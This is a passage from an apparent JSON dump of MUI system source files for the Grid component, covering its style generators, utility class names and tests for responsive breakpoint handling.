Breakpoint]: T };\n\n    if (propValue === null) {\n      return parsedProp;\n    }\n\n    if (Array.isArray(propValue)) {\n      propValue.forEach((value, index) => {\n        if (value !== null && shouldUseValue(value) && breakpoints.keys[index]) {\n          parsedProp[breakpoints.keys[index]] = value;\n        }\n      });\n    } else if (typeof propValue === 'object') {\n      Object.keys(propValue).forEach((key) => {\n        const value = propValue[key as Breakpoint];\n        if (value !== null && value !== undefined && shouldUseValue(value)) {\n          parsedProp[key as Breakpoint] = value;\n        }\n      });\n    } else {\n      parsedProp[breakpoints.keys[0]] = propValue;\n    }\n\n    return parsedProp;\n  }\n\n  const GridRoot = createStyledComponent<{\n    ownerState: GridOwnerState;\n  }>(\n    generateGridColumnsStyles,\n    generateGridColumnSpacingStyles,\n    generateGridRowSpacingStyles,\n    generateGridSizeStyles,\n    generateGridDirectionStyles,\n    generateGridStyles,\n    generateGridOffsetStyles,\n  );\n\n  const Grid = React.forwardRef(function Grid(inProps, ref) {\n    const theme = useTheme();\n    const themeProps = useThemeProps<\n      typeof inProps & { component?: React.ElementType | undefined }\n    >(inProps);\n    const props = themeProps as typeof themeProps & GridOwnerState;\n\n    const {\n      className,\n      children,\n      columns: columnsProp = 12,\n      container = false,\n      component = 'div',\n      direction = 'row',\n      wrap = 'wrap',\n      size: sizeProp = {},\n      offset: offsetProp = {},\n      spacing: spacingProp = 0,\n      rowSpacing: rowSpacingProp = spacingProp,\n      columnSpacing: columnSpacingProp = spacingProp,\n      unstable_level: level = 0,\n      ...other\n    } = props;\n    const size = parseResponsiveProp<GridSize>(sizeProp, theme.breakpoints, (val) => val !== false);\n    const offset = parseResponsiveProp<GridOffset>(offsetProp, theme.breakpoints);\n\n    const columns = inProps.columns ?? (level ? undefined : columnsProp);\n    const spacing = inProps.spacing ?? (level ? undefined : spacingProp);\n    const rowSpacing =\n      inProps.rowSpacing ?? inProps.spacing ?? (level ? undefined : rowSpacingProp);\n    const columnSpacing =\n      inProps.columnSpacing ?? inProps.spacing ?? (level ? undefined : columnSpacingProp);\n    const ownerState = {\n      ...props,\n      level,\n      columns,\n      container,\n      direction,\n      wrap,\n      spacing,\n      rowSpacing,\n      columnSpacing,\n      size,\n      offset,\n    };\n\n    const classes = useUtilityClasses(ownerState, theme);\n\n    return (\n      <GridRoot\n        ref={ref}\n        as={component}\n        ownerState={ownerState}\n        className={clsx(classes.root, className)}\n        {...other}\n      >\n        {React.Children.map(children, (child) => {\n          if (\n            React.isValidElement<{ container?: unknown }>(child) &&\n            isMuiElement(child, ['Grid']) &&\n            container &&\n            child.props.container\n          ) {\n            return React.cloneElement(child, {\n              unstable_level: (child.props as GridProps)?.unstable_level ?? level + 1,\n            } as GridProps);\n          }\n          return child;\n        })}\n      </GridRoot>\n    );\n  }) as OverridableComponent<GridTypeMap>;\n\n  Grid.propTypes /* remove-proptypes */ = {\n    children: PropTypes.node,\n    className: PropTypes.string,\n    columns: PropTypes.oneOfType([\n      PropTypes.arrayOf(PropTypes.number),\n      PropTypes.number,\n      PropTypes.object,\n    ]),\n    columnSpacing: PropTypes.oneOfType([\n      PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n      PropTypes.number,\n      PropTypes.object,\n      PropTypes.string,\n    ]),\n    component: PropTypes.elementType,\n    container: PropTypes.bool,\n    direction: PropTypes.oneOfType([\n      PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row']),\n      PropTypes.arrayOf(PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row'])),\n      PropTypes.object,\n    ]),\n    offset: PropTypes.oneOfType([\n      PropTypes.string,\n      PropTypes.number,\n      PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.number])),\n      PropTypes.object,\n    ]),\n    rowSpacing: PropTypes.oneOfType([\n      PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n      PropTypes.number,\n      PropTypes.object,\n      PropTypes.string,\n    ]),\n    size: PropTypes.oneOfType([\n      PropTypes.string,\n      PropTypes.bool,\n      PropTypes.number,\n      PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.bool, PropTypes.number])),\n      PropTypes.object,\n    ]),\n    spacing: PropTypes.oneOfType([\n      PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n      PropTypes.number,\n      PropTypes.object,\n      PropTypes.string,\n    ]),\n    sx: PropTypes.oneOfType([\n      PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n      PropTypes.func,\n      PropTypes.object,\n    ]),\n    wrap: PropTypes.oneOf(['nowrap', 'wrap-reverse', 'wrap']),\n  };\n\n  // @ts-ignore internal logic for nested grid\n  Grid.muiName = 'Grid';\n\n  return Grid;\n}\n"
  },
  {
    "path": "packages/mui-system/src/Grid/gridClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface GridClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `container={true}`. */\n  container: string;\n  /** Styles applied to the root element if `direction=\"column\"`. */\n  'direction-xs-column': string;\n  /** Styles applied to the root element if `direction=\"column-reverse\"`. */\n  'direction-xs-column-reverse': string;\n  /** Styles applied to the root element if `direction=\"row-reverse\"`. */\n  'direction-xs-row-reverse': string;\n  /** Styles applied to the root element if `wrap=\"nowrap\"`. */\n  'wrap-xs-nowrap': string;\n  /** Styles applied to the root element if `wrap=\"reverse\"`. */\n  'wrap-xs-wrap-reverse': string;\n}\n\nexport type GridClassKey = keyof GridClasses;\n\nexport function getGridUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiGrid', slot);\n}\n\nconst SPACINGS = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10] as const;\nconst DIRECTIONS = ['column-reverse', 'column', 'row-reverse', 'row'] as const;\nconst WRAPS = ['nowrap', 'wrap-reverse', 'wrap'] as const;\nconst GRID_SIZES = ['auto', 'grow', 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12] as const;\n\nconst gridClasses: GridClasses = generateUtilityClasses('MuiGrid', [\n  'root',\n  'container',\n  'item',\n\n  // spacings\n  ...SPACINGS.map((spacing) => `spacing-xs-${spacing}` as const),\n  // direction values\n  ...DIRECTIONS.map((direction) => `direction-xs-${direction}` as const),\n  // wrap values\n  ...WRAPS.map((wrap) => `wrap-xs-${wrap}` as const),\n\n  // grid sizes for all breakpoints\n  ...GRID_SIZES.map((size) => `grid-xs-${size}` as const),\n  ...GRID_SIZES.map((size) => `grid-sm-${size}` as const),\n  ...GRID_SIZES.map((size) => `grid-md-${size}` as const),\n  ...GRID_SIZES.map((size) => `grid-lg-${size}` as const),\n  ...GRID_SIZES.map((size) => `grid-xl-${size}` as const),\n]);\n\nexport default gridClasses;\n"
  },
  {
    "path": "packages/mui-system/src/Grid/gridGenerator.test.js",
    "content": "import { expect } from 'chai';\nimport sinon from 'sinon';\nimport createSpacing from '../createTheme/createSpacing';\nimport createBreakpoints from '../createBreakpoints/createBreakpoints';\nimport {\n  generateGridStyles,\n  generateGridSizeStyles,\n  generateGridColumnsStyles,\n  generateGridRowSpacingStyles,\n  generateGridColumnSpacingStyles,\n  generateGridOffsetStyles,\n  generateSizeClassNames,\n  generateSpacingClassNames,\n  generateDirectionClasses,\n} from './gridGenerator';\n\nconst spacing = createSpacing();\nconst breakpoints = createBreakpoints({});\n\ndescribe('grid generator', () => {\n  describe('generateGridStyles', () => {\n    it('root container', () => {\n      const result = generateGridStyles({ ownerState: { container: true, unstable_level: 0 } });\n      expect(result).to.deep.equal({\n        minWidth: 0,\n        boxSizing: 'border-box',\n        display: 'flex',\n        flexWrap: 'wrap',\n        gap: 'var(--Grid-rowSpacing) var(--Grid-columnSpacing)',\n      });\n    });\n\n    it('nested container level 1', () => {\n      const result = generateGridStyles({ ownerState: { container: true, unstable_level: 1 } });\n      sinon.assert.match(result, {\n        gap: `var(--Grid-rowSpacing) var(--Grid-columnSpacing)`,\n      });\n    });\n\n    it('nested container level 2', () => {\n      const result = generateGridStyles({ ownerState: { container: true, unstable_level: 2 } });\n      sinon.assert.match(result, {\n        gap: `var(--Grid-rowSpacing) var(--Grid-columnSpacing)`,\n      });\n    });\n\n    it('item', () => {\n      const result = generateGridStyles({ ownerState: { container: false, unstable_level: 1 } });\n      expect(result).to.deep.equal({\n        minWidth: 0,\n        boxSizing: 'border-box',\n      });\n    });\n  });\n\n  describe('generateGridSizeStyles', () => {\n    it('works with supported format', () => {\n      expect(\n        generateGridSizeStyles({\n          theme: { breakpoints },\n          ownerState: {\n            size: {\n              xs: 'auto',\n              sm: 6,\n              md: 'grow',\n              lg: 4,\n              xl: 'auto',\n            },\n            // should not consider other props\n            rowSpacing: 1,\n            columnSpacing: { xs: 1, sm: 2 },\n          },\n        }),\n      ).to.deep.equal({\n        flexBasis: 'auto',\n        flexGrow: 0,\n        flexShrink: 0,\n        maxWidth: 'none',\n        width: 'auto',\n        '@media (min-width:600px)': {\n          flexBasis: 'auto',\n          flexGrow: 0,\n          width: `calc(100% * 6 / var(--Grid-parent-columns) - (var(--Grid-parent-columns) - 6) * (var(--Grid-parent-columnSpacing) / var(--Grid-parent-columns)))`,\n        },\n        '@media (min-width:900px)': {\n          flexBasis: 0,\n          flexGrow: 1,\n          maxWidth: '100%',\n        },\n        '@media (min-width:1200px)': {\n          flexBasis: 'auto',\n          flexGrow: 0,\n          width: `calc(100% * 4 / var(--Grid-parent-columns) - (var(--Grid-parent-columns) - 4) * (var(--Grid-parent-columnSpacing) / var(--Grid-parent-columns)))`,\n        },\n        '@media (min-width:1536px)': {\n          flexBasis: 'auto',\n          flexGrow: 0,\n          flexShrink: 0,\n          maxWidth: 'none',\n          width: 'auto',\n        },\n      });\n    });\n  });\n\n  describe('generateGridColumnsStyles', () => {\n    it('supports number', () => {\n      expect(\n        generateGridColumnsStyles({\n          theme: { breakpoints },\n          ownerState: { container: true, columns: 16 },\n        }),\n      ).to.deep.equal({\n        '--Grid-columns': 16,\n        '> *': {\n          '--Grid-parent-columns': 16,\n        },\n      });\n    });\n\n    it('supports responsive', () => {\n      expect(\n        generateGridColumnsStyles({\n          theme: { breakpoints },\n          ownerState: { container: true, columns: { xs: 6, sm: 8, md: 12, lg: 16 } },\n        }),\n      ).to.deep.equal({\n        '--Grid-columns': 6,\n        '> *': {\n          '--Grid-parent-columns': 6,\n        },\n        '@media (min-width:600px)': {\n          '--Grid-columns': 8,\n          '> *': {\n            '--Grid-parent-columns': 8,\n          },\n        },\n        '@media (min-width:900px)': {\n          '--Grid-columns': 12,\n          '> *': {\n            '--Grid-parent-columns': 12,\n          },\n        },\n        '@media (min-width:1200px)': {\n          '--Grid-columns': 16,\n          '> *': {\n            '--Grid-parent-columns': 16,\n          },\n        },\n      });\n    });\n\n    it('has default of 12 if the smallest breakpoint is not specified', () => {\n      expect(\n        generateGridColumnsStyles({\n          theme: { breakpoints },\n          ownerState: { container: true, columns: { lg: 16 } },\n        }),\n      ).to.deep.equal({\n        '--Grid-columns': 12,\n        '@media (min-width:1200px)': {\n          '--Grid-columns': 16,\n          '> *': {\n            '--Grid-parent-columns': 16,\n          },\n        },\n      });\n    });\n  });\n\n  describe('generateGridRowSpacingStyles', () => {\n    it('supports number', () => {\n      expect(\n        generateGridRowSpacingStyles({\n          theme: { breakpoints, spacing },\n          ownerState: { container: true, rowSpacing: 2 },\n        }),\n      ).to.deep.equal({\n        '--Grid-rowSpacing': '16px',\n        '> *': {\n          '--Grid-parent-rowSpacing': '16px',\n        },\n      });\n    });\n\n    it('supports string', () => {\n      expect(\n        generateGridRowSpacingStyles({\n          theme: { breakpoints, spacing },\n          ownerState: { container: true, rowSpacing: '1rem' },\n        }),\n      ).to.deep.equal({\n        '--Grid-rowSpacing': '1rem',\n        '> *': {\n          '--Grid-parent-rowSpacing': '1rem',\n        },\n      });\n    });\n\n    it('supports responsive', () => {\n      expect(\n        generateGridRowSpacingStyles({\n          theme: { breakpoints, spacing },\n          ownerState: { container: true, rowSpacing: { xs: 2, md: 3, xl: 0 } },\n        }),\n      ).to.deep.equal({\n        '--Grid-rowSpacing': '16px',\n        '> *': {\n          '--Grid-parent-rowSpacing': '16px',\n        },\n        '@media (min-width:900px)': {\n          '--Grid-rowSpacing': '24px',\n          '> *': {\n            '--Grid-parent-rowSpacing': '24px',\n          },\n        },\n        '@media (min-width:1536px)': {\n          '--Grid-rowSpacing': '0px',\n          '> *': {\n            '--Grid-parent-rowSpacing': '0px',\n          },\n        },\n      });\n\n      expect(\n        generateGridRowSpacingStyles({\n          theme: { breakpoints, spacing },\n          ownerState: { container: true, rowSpacing: { xs: 0, md: 2, xl: 0 } },\n        }),\n      ).to.deep.equal({\n        '--Grid-rowSpacing': '0px',\n        '> *': {\n          '--Grid-parent-rowSpacing': '0px',\n        },\n        '@media (min-width:900px)': {\n          '--Grid-rowSpacing': '16px',\n          '> *': {\n            '--Grid-parent-rowSpacing': '16px',\n          },\n        },\n        '@media (min-width:1536px)': {\n          '--Grid-rowSpacing': '0px',\n          '> *': {\n            '--Grid-parent-rowSpacing': '0px',\n          },\n        },\n      });\n    });\n  });\n\n  describe('generateGridColumnSpacingStyles', () => {\n    it('supports number', () => {\n      expect(\n        generateGridColumnSpacingStyles({\n          theme: { breakpoints, spacing },\n          ownerState: { container: true, columnSpacing: 2 },\n        }),\n      ).to.deep.equal({\n        '--Grid-columnSpacing': '16px',\n        '> *': {\n          '--Grid-parent-columnSpacing': '16px',\n        },\n      });\n    });\n\n    it('supports string', () => {\n      expect(\n        generateGridColumnSpacingStyles({\n          theme: { breakpoints, spacing },\n          ownerState: { container: true, columnSpacing: '1rem' },\n        }),\n      ).to.deep.equal({\n        '--Grid-columnSpacing': '1rem',\n        '> *': {\n          '--Grid-parent-columnSpacing': '1rem',\n        },\n      });\n    });\n\n    it('supports responsive', () => {\n      expect(\n        generateGridColumnSpacingStyles({\n          theme: { breakpoints, spacing },\n          ownerState: { container: true, columnSpacing: { xs: 2, md: 3, xl: 0 } },\n        }),\n      ).to.deep.equal({\n        '--Grid-columnSpacing': '16px',\n        '> *': {\n          '--Grid-parent-columnSpacing': '16px',\n        },\n        '@media (min-width:900px)': {\n          '--Grid-columnSpacing': '24px',\n          '> *': {\n            '--Grid-parent-columnSpacing': '24px',\n          },\n        },\n        '@media (min-width:1536px)': {\n          '--Grid-columnSpacing': '0px',\n          '> *': {\n            '--Grid-parent-columnSpacing': '0px',\n          },\n        },\n      });\n\n      expect(\n        generateGridColumnSpacingStyles({\n          theme: { breakpoints, spacing },\n          ownerState: { container: true, columnSpacing: { xs: 0, md: 2, xl: 0 } },\n        }),\n      ).to.deep.equal({\n        '--Grid-columnSpacing': '0px',\n        '> *': {\n          '--Grid-parent-columnSpacing': '0px',\n        },\n        '@media (min-width:900px)': {\n          '--Grid-columnSpacing': '16px',\n          '> *': {\n            '--Grid-parent-columnSpacing': '16px',\n          },\n        },\n        '@media (min-width:1536px)': {\n          '--Grid-columnSpacing': '0px',\n          '> *': {\n            '--Grid-parent-columnSpacing': '0px',\n          },\n        },\n      });\n    });\n  });\n\n  describe('generateGridOffsetStyles', () => {\n    it('supports responsive object', () => {\n      expect(\n        generateGridOffsetStyles({\n          theme: { breakpoints, spacing },\n          ownerState: { offset: { xs: 0, md: 5, lg: 'auto' } },\n        }),\n      ).to.deep.equal({\n        marginLeft: '0px',\n        '@media (min-width:900px)': {\n          marginLeft: `calc(100% * 5 / var(--Grid-parent-columns) + var(--Grid-parent-columnSpacing) * 5 / var(--Grid-parent-columns))`,\n        },\n        '@media (min-width:1200px)': {\n          marginLeft: `auto`,\n        },\n      });\n    });\n  });\n\n  describe('class names', () => {\n    it('should generate correct grid size class names', () => {\n      expect(\n        generateSizeClassNames({\n          xs: 'auto',\n          sm: 4,\n          md: false,\n          lg: undefined,\n          xl: true,\n        }),\n      ).to.deep.equal(['grid-xs-auto', 'grid-sm-4', 'grid-xl-true']);\n    });\n\n    it('should generate correct spacing class names', () => {\n      expect(generateSpacingClassNames()).to.deep.equal([]);\n      expect(generateSpacingClassNames([0, 1])).to.deep.equal([]);\n\n      expect(generateSpacingClassNames(2)).to.deep.equal(['spacing-xs-2']);\n      expect(\n        generateSpacingClassNames({\n          xs: 0,\n          sm: 2,\n          lg: 4,\n          xl: '1rem', // should not appear in class name\n        }),\n      ).to.deep.equal(['spacing-sm-2', 'spacing-lg-4']);\n    });\n\n    it('should work with any breakpoint', () => {\n      expect(\n        generateSizeClassNames({\n          mobile: 'auto',\n          tablet: 4,\n        }),\n      ).to.deep.equal(['grid-mobile-auto', 'grid-tablet-4']);\n\n      expect(generateSpacingClassNames(2, 'mobile')).to.deep.equal(['spacing-mobile-2']);\n\n      expect(\n        generateSpacingClassNames({\n          mobile: 3,\n          tablet: 4,\n        }),\n      ).to.deep.equal(['spacing-mobile-3', 'spacing-tablet-4']);\n    });\n  });\n\n  describe('generateDirectionClasses', () => {\n    it('should generate correct direction class names', () => {\n      expect(generateDirectionClasses()).to.deep.equal([]);\n      expect(generateDirectionClasses('row')).to.deep.equal(['direction-xs-row']);\n      expect(generateDirectionClasses('column')).to.deep.equal(['direction-xs-column']);\n      expect(\n        generateDirectionClasses({\n          xs: 'row',\n          sm: 'column',\n          md: 'row',\n        }),\n      ).to.deep.equal(['direction-xs-row', 'direction-sm-column', 'direction-md-row']);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/Grid/gridGenerator.ts",
    "content": "import { Breakpoints } from '../createBreakpoints/createBreakpoints';\nimport { Spacing } from '../createTheme/createSpacing';\nimport { ResponsiveStyleValue } from '../styleFunctionSx';\nimport { GridDirection, GridOwnerState } from './GridProps';\nimport { traverseBreakpoints } from './traverseBreakpoints';\n\ninterface Props {\n  theme: { breakpoints: Breakpoints; spacing?: Spacing | undefined };\n  ownerState: GridOwnerState;\n}\n\nfunction getSelfSpacingVar(axis: 'row' | 'column') {\n  return `--Grid-${axis}Spacing`;\n}\n\nfunction getParentSpacingVar(axis: 'row' | 'column') {\n  return `--Grid-parent-${axis}Spacing`;\n}\n\nconst selfColumnsVar = '--Grid-columns';\nconst parentColumnsVar = '--Grid-parent-columns';\n\nexport const generateGridSizeStyles = ({ theme, ownerState }: Props) => {\n  const styles = {};\n  traverseBreakpoints<'auto' | 'grow' | number | false>(\n    theme.breakpoints,\n    ownerState.size,\n    (appendStyle, value) => {\n      let style = {};\n      if (value === 'grow') {\n        style = {\n          flexBasis: 0,\n          flexGrow: 1,\n          maxWidth: '100%',\n        };\n      }\n      if (value === 'auto') {\n        style = {\n          flexBasis: 'auto',\n          flexGrow: 0,\n          flexShrink: 0,\n          maxWidth: 'none',\n          width: 'auto',\n        };\n      }\n      if (typeof value === 'number') {\n        style = {\n          flexGrow: 0,\n          flexBasis: 'auto',\n          width: `calc(100% * ${value} / var(${parentColumnsVar}) - (var(${parentColumnsVar}) - ${value}) * (var(${getParentSpacingVar('column')}) / var(${parentColumnsVar})))`,\n        };\n      }\n      appendStyle(styles, style);\n    },\n  );\n  return styles;\n};\n\nexport const generateGridOffsetStyles = ({ theme, ownerState }: Props) => {\n  const styles = {};\n  traverseBreakpoints<number | 'auto'>(\n    theme.breakpoints,\n    ownerState.offset,\n    (appendStyle, value) => {\n      let style = {};\n      if (value === 'auto') {\n        style = {\n          marginLeft: 'auto',\n        };\n      }\n      if (typeof value === 'number') {\n        style = {\n          marginLeft:\n            value === 0\n              ? '0px'\n              : `calc(100% * ${value} / var(${parentColumnsVar}) + var(${getParentSpacingVar('column')}) * ${value} / var(${parentColumnsVar}))`,\n        };\n      }\n      appendStyle(styles, style);\n    },\n  );\n  return styles;\n};\n\nexport const generateGridColumnsStyles = ({ theme, ownerState }: Props) => {\n  if (!ownerState.container) {\n    return {};\n  }\n  const styles = {\n    [selfColumnsVar]: 12,\n  };\n  traverseBreakpoints<number>(theme.breakpoints, ownerState.columns, (appendStyle, value) => {\n    const columns = value ?? 12;\n    appendStyle(styles, {\n      [selfColumnsVar]: columns,\n      '> *': {\n        [parentColumnsVar]: columns,\n      },\n    });\n  });\n  return styles;\n};\n\nexport const generateGridRowSpacingStyles = ({ theme, ownerState }: Props) => {\n  if (!ownerState.container) {\n    return {};\n  }\n  const styles = {};\n  traverseBreakpoints<number | string>(\n    theme.breakpoints,\n    ownerState.rowSpacing,\n    (appendStyle, value) => {\n      const spacing = typeof value === 'string' ? value : theme.spacing?.(value);\n      appendStyle(styles, {\n        [getSelfSpacingVar('row')]: spacing,\n        '> *': {\n          [getParentSpacingVar('row')]: spacing,\n        },\n      });\n    },\n  );\n  return styles;\n};\n\nexport const generateGridColumnSpacingStyles = ({ theme, ownerState }: Props) => {\n  if (!ownerState.container) {\n    return {};\n  }\n  const styles = {};\n  traverseBreakpoints<number | string>(\n    theme.breakpoints,\n    ownerState.columnSpacing,\n    (appendStyle, value) => {\n      const spacing = typeof value === 'string' ? value : theme.spacing?.(value);\n      appendStyle(styles, {\n        [getSelfSpacingVar('column')]: spacing,\n        '> *': {\n          [getParentSpacingVar('column')]: spacing,\n        },\n      });\n    },\n  );\n  return styles;\n};\n\nexport const generateGridDirectionStyles = ({ theme, ownerState }: Props) => {\n  if (!ownerState.container) {\n    return {};\n  }\n  const styles = {};\n  traverseBreakpoints<number | string>(\n    theme.breakpoints,\n    ownerState.direction,\n    (appendStyle, value) => {\n      appendStyle(styles, { flexDirection: value });\n    },\n  );\n  return styles;\n};\n\nexport const generateGridStyles = ({ ownerState }: Props): {} => {\n  return {\n    minWidth: 0,\n    boxSizing: 'border-box',\n    ...(ownerState.container && {\n      display: 'flex',\n      flexWrap: 'wrap',\n      ...(ownerState.wrap &&\n        ownerState.wrap !== 'wrap' && {\n          flexWrap: ownerState.wrap,\n        }),\n      gap: `var(${getSelfSpacingVar('row')}) var(${getSelfSpacingVar('column')})`,\n    }),\n  };\n};\n\nexport const generateSizeClassNames = (size: GridOwnerState['size']) => {\n  const classNames: string[] = [];\n  Object.entries(size).forEach(([key, value]) => {\n    if (value !== false && value !== undefined) {\n      classNames.push(`grid-${key}-${String(value)}`);\n    }\n  });\n\n  return classNames;\n};\n\nexport const generateSpacingClassNames = (\n  spacing: GridOwnerState['spacing'],\n  smallestBreakpoint: string = 'xs',\n) => {\n  function isValidSpacing(val: GridOwnerState['spacing'] | null) {\n    if (val === undefined) {\n      return false;\n    }\n    return (\n      (typeof val === 'string' && !Number.isNaN(Number(val))) ||\n      (typeof val === 'number' && val > 0)\n    );\n  }\n  if (isValidSpacing(spacing)) {\n    return [`spacing-${smallestBreakpoint}-${String(spacing)}`];\n  }\n  if (typeof spacing === 'object' && !Array.isArray(spacing)) {\n    const classNames: string[] = [];\n    Object.entries(spacing).forEach(([key, value]) => {\n      if (isValidSpacing(value)) {\n        classNames.push(`spacing-${key}-${String(value)}`);\n      }\n    });\n    return classNames;\n  }\n  return [];\n};\n\nexport const generateDirectionClasses = (\n  direction: ResponsiveStyleValue<GridDirection> | undefined,\n): string[] => {\n  if (direction === undefined) {\n    return [];\n  }\n  if (typeof direction === 'object') {\n    return Object.entries(direction).map(([key, value]) => `direction-${key}-${value}`);\n  }\n\n  return [`direction-xs-${String(direction)}`];\n};\n"
  },
  {
    "path": "packages/mui-system/src/Grid/index.ts",
    "content": "export { default } from './Grid';\nexport { default as createGrid } from './createGrid';\nexport * from './GridProps';\nexport { default as gridClasses } from './gridClasses';\nexport * from './gridClasses';\nexport { traverseBreakpoints as unstable_traverseBreakpoints } from './traverseBreakpoints';\nexport {\n  generateDirectionClasses as unstable_generateDirectionClasses,\n  generateSizeClassNames as unstable_generateSizeClassNames,\n  generateSpacingClassNames as unstable_generateSpacingClassNames,\n} from './gridGenerator';\n"
  },
  {
    "path": "packages/mui-system/src/Grid/traverseBreakpoints.test.ts",
    "content": "import { expect } from 'chai';\nimport createBreakpoints from '../createBreakpoints/createBreakpoints';\nimport { traverseBreakpoints, filterBreakpointKeys } from './traverseBreakpoints';\n\nconst breakpoints = createBreakpoints({});\n\ndescribe('traverse breakpoints', () => {\n  it('supports array', () => {\n    const styles = {};\n    traverseBreakpoints(breakpoints, [1, 2, 3, 4, 5], (appendStyle, value) => {\n      appendStyle(styles, { margin: value });\n    });\n    expect(styles).to.deep.equal({\n      margin: 1,\n      '@media (min-width:600px)': {\n        margin: 2,\n      },\n      '@media (min-width:900px)': {\n        margin: 3,\n      },\n      '@media (min-width:1200px)': {\n        margin: 4,\n      },\n      '@media (min-width:1536px)': {\n        margin: 5,\n      },\n    });\n  });\n\n  it('supports object', () => {\n    const styles = {};\n    traverseBreakpoints(\n      breakpoints,\n      { xs: 1, sm: 2, md: 3, lg: 4, xl: 5 },\n      (appendStyle, value) => {\n        appendStyle(styles, { margin: value });\n      },\n    );\n    expect(styles).to.deep.equal({\n      margin: 1,\n      '@media (min-width:600px)': {\n        margin: 2,\n      },\n      '@media (min-width:900px)': {\n        margin: 3,\n      },\n      '@media (min-width:1200px)': {\n        margin: 4,\n      },\n      '@media (min-width:1536px)': {\n        margin: 5,\n      },\n    });\n  });\n\n  it('works with mixed object', () => {\n    const styles = {};\n    traverseBreakpoints(\n      breakpoints,\n      { a: 2, b: 5, xs: 1, sm: 2, md: 3, foo: () => {}, bar: [] },\n      (appendStyle, value) => {\n        appendStyle(styles, { margin: value });\n      },\n    );\n    expect(styles).to.deep.equal({\n      margin: 1,\n      '@media (min-width:600px)': {\n        margin: 2,\n      },\n      '@media (min-width:900px)': {\n        margin: 3,\n      },\n    });\n  });\n\n  it('does not iterate undefined value', () => {\n    const styles = {};\n    traverseBreakpoints(breakpoints, { xs: 1, sm: undefined, md: 3 }, (appendStyle, value) => {\n      appendStyle(styles, { margin: value });\n    });\n    expect(styles).to.deep.equal({\n      margin: 1,\n      '@media (min-width:900px)': {\n        margin: 3,\n      },\n    });\n  });\n\n  it('filters out breakpoints keys based on responsive keys', () => {\n    const styles = { sm: 6, md: 3, xl: 2, xs: 1 };\n    const filteredKeys = filterBreakpointKeys(breakpoints.keys, Object.keys(styles));\n    expect(filteredKeys).to.deep.equal(['xs', 'sm', 'md', 'xl']);\n  });\n\n  describe('custom breakpoints', () => {\n    const customBreakpoints = createBreakpoints({\n      // @ts-ignore\n      values: { xxs: 0, xs: 400, sm: 600, md: 768 },\n    });\n\n    it('supports array', () => {\n      const styles = {};\n      traverseBreakpoints(customBreakpoints, [1, 2, 3, 4, 5], (appendStyle, value) => {\n        appendStyle(styles, { margin: value });\n      });\n      expect(styles).to.deep.equal({\n        margin: 1,\n        '@media (min-width:400px)': {\n          margin: 2,\n        },\n        '@media (min-width:600px)': {\n          margin: 3,\n        },\n        '@media (min-width:768px)': {\n          margin: 4,\n        },\n      });\n    });\n\n    it('supports object', () => {\n      const styles = {};\n      traverseBreakpoints(\n        customBreakpoints,\n        { xxs: 1, xs: 2, sm: 3, md: 4, lg: 5 }, // lg is not a part of custom breakpoints\n        (appendStyle, value) => {\n          appendStyle(styles, { margin: value });\n        },\n      );\n      expect(styles).to.deep.equal({\n        margin: 1,\n        '@media (min-width:400px)': {\n          margin: 2,\n        },\n        '@media (min-width:600px)': {\n          margin: 3,\n        },\n        '@media (min-width:768px)': {\n          margin: 4,\n        },\n      });\n    });\n\n    it('supports object (random order)', () => {\n      const newBreakpoints = createBreakpoints({\n        // @ts-ignore\n        values: { mobile: 0, laptop: 1024, tablet: 640, desktop: 1280 },\n      });\n      const styles = {};\n      traverseBreakpoints(\n        newBreakpoints,\n        { monitor: 5, laptop: 3, mobile: 4, desktop: 2, tablet: 1 }, // lg is not a part of custom breakpoints\n        (appendStyle, value) => {\n          appendStyle(styles, { margin: value });\n        },\n      );\n      expect(styles).to.deep.equal({\n        margin: 4,\n        '@media (min-width:640px)': {\n          margin: 1,\n        },\n        '@media (min-width:1024px)': {\n          margin: 3,\n        },\n        '@media (min-width:1280px)': {\n          margin: 2,\n        },\n      });\n    });\n  });\n\n  describe('new breakpoints', () => {\n    const newBreakpoints = createBreakpoints({\n      values: {\n        // order does not matter\n        // @ts-ignore\n        laptop: 1024,\n        tablet: 640,\n        mobile: 0,\n        desktop: 1280,\n      },\n    });\n\n    it('supports array', () => {\n      const styles = {};\n      traverseBreakpoints(newBreakpoints, [1, 2, 3, 4], (appendStyle, value) => {\n        appendStyle(styles, { margin: value });\n      });\n      expect(styles).to.deep.equal({\n        margin: 1,\n        '@media (min-width:640px)': {\n          margin: 2,\n        },\n        '@media (min-width:1024px)': {\n          margin: 3,\n        },\n        '@media (min-width:1280px)': {\n          margin: 4,\n        },\n      });\n    });\n\n    it('supports object', () => {\n      const styles = {};\n      traverseBreakpoints(\n        newBreakpoints,\n        { mobile: 1, tablet: 2, laptop: 3, desktop: 4, monitor: 5 }, // monitor is not a part of custom breakpoints\n        (appendStyle, value) => {\n          appendStyle(styles, { margin: value });\n        },\n      );\n      expect(styles).to.deep.equal({\n        margin: 1,\n        '@media (min-width:640px)': {\n          margin: 2,\n        },\n        '@media (min-width:1024px)': {\n          margin: 3,\n        },\n        '@media (min-width:1280px)': {\n          margin: 4,\n        },\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/Grid/traverseBreakpoints.ts",
